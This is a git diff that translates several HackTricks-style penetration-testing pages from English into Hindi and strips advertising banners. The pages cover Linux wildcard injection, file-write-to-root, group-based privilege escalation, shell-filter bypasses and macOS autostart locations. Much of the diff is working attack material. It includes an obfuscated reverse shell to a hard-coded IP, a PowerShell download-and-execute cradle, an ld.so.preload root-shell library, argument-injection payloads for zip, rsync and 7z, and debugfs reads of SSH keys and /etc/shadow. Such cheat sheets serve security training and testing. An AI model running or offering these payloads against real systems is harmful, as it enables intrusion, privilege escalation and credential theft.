[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar हमला)_ का उपयोग करके शोषण कर सकते हैं।\ +अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं। ## Rsync -**Execute arbitrary commands:** - +**मनमाने आदेश निष्पादित करें:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_ का उपयोग करके शोषण कर सकते हैं।\ +अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं। ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +**7z** में `--` का उपयोग करने पर भी `*` से पहले (ध्यान दें कि `--` का अर्थ है कि इसके बाद का इनपुट पैरामीटर के रूप में नहीं लिया जा सकता, इसलिए इस मामले में केवल फ़ाइल पथ) आप एक मनमाना त्रुटि उत्पन्न कर सकते हैं जिससे एक फ़ाइल पढ़ी जा सके, इसलिए यदि निम्नलिखित में से कोई आदेश रूट द्वारा निष्पादित किया जा रहा है: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +और आप उस फ़ोल्डर में फ़ाइलें बना सकते हैं जहाँ यह निष्पादित हो रहा है, आप फ़ाइल `@root.txt` और फ़ाइल `root.txt` बना सकते हैं जो कि उस फ़ाइल का **symlink** है जिसे आप पढ़ना चाहते हैं: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +फिर, जब **7z** निष्पादित होता है, यह `root.txt` को उन फ़ाइलों की सूची के रूप में मानता है जिन्हें इसे संकुचित करना चाहिए (यही `@root.txt` के अस्तित्व का संकेत है) और जब 7z `root.txt` को पढ़ता है, यह `/file/you/want/to/read` को पढ़ेगा और **चूंकि इस फ़ाइल की सामग्री फ़ाइलों की सूची नहीं है, यह एक त्रुटि फेंकेगा** जो सामग्री दिखा रहा है। -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. +_हैकथबॉक्स से CTF के बॉक्स के लेखों में अधिक जानकारी।_ -_More info in Write-ups of the box CTF from HackTheBox._ - -## Zip - -**Execute arbitrary commands:** +## ज़िप +**मनमाने आदेश निष्पादित करें:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..a73c9cd26 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# रूट पर मनमाने फ़ाइल लेखन {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +यह फ़ाइल **`LD_PRELOAD`** पर्यावरण चर की तरह व्यवहार करती है लेकिन यह **SUID बाइनरीज़** में भी काम करती है।\ +यदि आप इसे बना सकते हैं या संशोधित कर सकते हैं, तो आप बस एक **पथ जोड़ सकते हैं एक पुस्तकालय का जो प्रत्येक निष्पादित बाइनरी के साथ लोड होगा**। +उदाहरण: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) वे **स्क्रिप्ट** हैं जो एक git रिपॉजिटरी में विभिन्न **इवेंट्स** पर **चलती** हैं जैसे कि जब एक कमिट बनाया जाता है, एक मर्ज... तो यदि एक **विशिष्ट स्क्रिप्ट या उपयोगकर्ता** ये क्रियाएँ बार-बार कर रहा है और यदि **`.git` फोल्डर** में **लिखना संभव** है, तो इसका उपयोग **privesc** के लिए किया जा सकता है। +उदाहरण के लिए, एक git रिपॉजिटरी में **`.git/hooks`** में एक **स्क्रिप्ट** उत्पन्न करना संभव है ताकि यह हमेशा नए कमिट के बनने पर चल सके: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +फाइल `/proc/sys/fs/binfmt_misc` में यह संकेत दिया गया है कि कौन सा बाइनरी किस प्रकार की फाइलों को निष्पादित करना चाहिए। TODO: एक सामान्य फाइल प्रकार खुलने पर रिवर्स शेल निष्पादित करने के लिए इसका दुरुपयोग करने की आवश्यकताओं की जांच करें। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..a02cbf9e0 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# उपयोगी लिनक्स कमांड {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## सामान्य बैश ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Windows के लिए Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## खोजें ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap खोज सहायता ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - -## Bash - +## बैश ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..d45496e6e 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,27 +1,16 @@ -# Bypass Linux Restrictions +# Linux प्रतिबंधों को बायपास करें {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses - -### Reverse Shell +## सामान्य सीमाओं के बायपास +### रिवर्स शेल ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### शॉर्ट रेव शेल ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### पथों और निषिद्ध शब्दों को बायपास करें ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - -### Bypass forbidden spaces - +### प्रतिबंधित स्थानों को बायपास करें ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### बैकस्लैश और स्लैश को बायपास करें ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### पाइप्स को बायपास करें ```bash bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## केवल-पढ़ने/नोएक्सेक/डिस्ट्रोलैस बायपास -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +यदि आप एक फ़ाइल सिस्टम के अंदर हैं जिसमें **केवल-पढ़ने और नोएक्सेक सुरक्षा** हैं या यहां तक कि एक डिस्ट्रोलैस कंटेनर में हैं, तो भी **मनमाने बाइनरी को निष्पादित करने के तरीके हैं, यहां तक कि एक शेल!:** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## चूट और अन्य जेल बायपास {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## संदर्भ और अधिक - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..1359ebf64 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +yum के चारों ओर और उदाहरण [gtfobins](https://gtfobins.github.io/gtfobins/yum/) पर भी मिल सकते हैं। -# Executing arbitrary commands via RPM Packages +# RPM पैकेज के माध्यम से मनमाने कमांड निष्पादित करना -## Checking the Environment +## वातावरण की जांच करना -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +इस वेक्टर का लाभ उठाने के लिए उपयोगकर्ता को उच्च विशेषाधिकार प्राप्त उपयोगकर्ता, यानी रूट के रूप में yum कमांड निष्पादित करने में सक्षम होना चाहिए। -### A working example of this vector +### इस वेक्टर का एक कार्यशील उदाहरण -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +इस शोषण का एक कार्यशील उदाहरण [tryhackme](https://tryhackme.com) पर [daily bugle](https://tryhackme.com/room/dailybugle) कमरे में मिल सकता है। -## Packing an RPM +## RPM पैक करना -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +अगले अनुभाग में, मैं [fpm](https://github.com/jordansissel/fpm) का उपयोग करके एक RPM में एक रिवर्स शेल पैक करने के बारे में चर्चा करूंगा। +नीचे दिया गया उदाहरण एक पैकेज बनाता है जिसमें एक पूर्व-स्थापना ट्रिगर होता है जिसमें एक मनमाना स्क्रिप्ट होता है जिसे हमलावर द्वारा परिभाषित किया जा सकता है। जब स्थापित किया जाता है, तो यह पैकेज मनमाना कमांड निष्पादित करेगा। मैंने प्रदर्शन के लिए एक सरल रिवर्स नेटकैट शेल उदाहरण का उपयोग किया है लेकिन इसे आवश्यकतानुसार बदला जा सकता है। ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..3d072cb81 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} # Sudo/Admin Groups ## **PE - Method 1** -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: - +**कभी-कभी**, **डिफ़ॉल्ट रूप से \(या क्योंकि कुछ सॉफ़्टवेयर को इसकी आवश्यकता होती है\)** **/etc/sudoers** फ़ाइल के अंदर आप इनमें से कुछ पंक्तियाँ पा सकते हैं: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,35 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +इसका मतलब है कि **कोई भी उपयोगकर्ता जो sudo या admin समूह का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**। -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**: ```text sudo su ``` - ## PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +सभी suid बाइनरीज़ खोजें और जांचें कि क्या बाइनरी **Pkexec** है: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin के सदस्य हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +वहाँ आप पाएंगे कि कौन से समूह **pkexec** निष्पादित करने की अनुमति रखते हैं और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **sudo या admin** जैसे समूह **प्रकट** हो सकते हैं। -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +**रूट बनने के लिए आप निष्पादित कर सकते हैं**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +यदि आप **pkexec** को निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं बल्कि इसलिए कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - # Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**कभी-कभी**, **डिफ़ॉल्ट रूप से** **/etc/sudoers** फ़ाइल के अंदर आप यह पंक्ति पा सकते हैं: ```text %wheel ALL=(ALL:ALL) ALL ``` +इसका मतलब है कि **कोई भी उपयोगकर्ता जो व्हील समूह का सदस्य है, वह कुछ भी sudo के रूप में निष्पादित कर सकता है**। -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**: ```text sudo su ``` - # Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +तो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक करने** की कोशिश करें। -So, read the file and try to **crack some hashes**. +# डिस्क समूह -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +यह विशेषाधिकार लगभग **रूट एक्सेस के बराबर** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुँच सकते हैं। +फाइलें:`/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,56 +84,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +ध्यान दें कि debugfs का उपयोग करके आप **फाइलें लिख** भी सकते हैं। उदाहरण के लिए, `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप कर सकते हैं: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +हालांकि, यदि आप **रूट द्वारा स्वामित्व वाले फ़ाइलें लिखने** की कोशिश करते हैं \(जैसे `/etc/shadow` या `/etc/passwd`\) तो आपको "**अनुमति अस्वीकृत**" त्रुटि मिलेगी। -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. - -# Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +# वीडियो समूह +कमांड `w` का उपयोग करके आप **जान सकते हैं कि सिस्टम पर कौन लॉग इन है** और यह निम्नलिखित आउटपुट दिखाएगा: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है। -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**video group** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं। ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +**कच्ची छवि** को **खोलने** के लिए आप **GIMP** का उपयोग कर सकते हैं, **`screen.raw`** फ़ाइल का चयन करें और फ़ाइल प्रकार के रूप में **Raw image data** चुनें: ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों में संशोधित करें और विभिन्न छवि प्रकारों की जांच करें \(और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है\): ![](../../images/image%20%28295%29.png) -# Root Group +# रूट समूह -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं जो विशेषाधिकार बढ़ाने के लिए उपयोग की जा सकती हैं... +**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**: ```bash find / -group root -perm -g=w 2>/dev/null ``` - # Docker Group -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +आप होस्ट मशीन के रूट फाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है। {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} @@ -171,11 +134,5 @@ You can mount the root filesystem of the host machine to an instance’s volume, [lxc - Privilege Escalation](lxd-privilege-escalation.md) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..abac4be36 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -1,242 +1,229 @@ -# macOS Auto Start +# macOS ऑटो स्टार्ट {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +यह अनुभाग ब्लॉग श्रृंखला [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) पर आधारित है, जिसका लक्ष्य **अधिक ऑटोस्टार्ट स्थान** जोड़ना है (यदि संभव हो) और यह बताना है कि **कौन सी तकनीकें आजकल काम कर रही हैं** नवीनतम macOS (13.4) के संस्करण के साथ और आवश्यक **अनुमतियों** को निर्दिष्ट करना है। -## Sandbox Bypass +## सैंडबॉक्स बायपास > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> यहाँ आप **सैंडबॉक्स बायपास** के लिए उपयोगी स्टार्ट स्थान पा सकते हैं जो आपको **किसी फ़ाइल में लिखकर** और **बहुत सामान्य** **क्रिया**, एक निर्धारित **समय** या एक **क्रिया जिसे आप आमतौर पर** सैंडबॉक्स के अंदर बिना रूट अनुमतियों की आवश्यकता के कर सकते हैं, के लिए **इंतज़ार** करने की अनुमति देता है। ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स बायपास के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### स्थान - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **ट्रिगर**: रिबूट +- रूट आवश्यक - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **ट्रिगर**: रिबूट +- रूट आवश्यक - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **ट्रिगर**: रिबूट +- रूट आवश्यक - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **ट्रिगर**: रिबूट +- रूट आवश्यक - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **ट्रिगर**: फिर से लॉगिन - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **ट्रिगर**: फिर से लॉगिन > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> 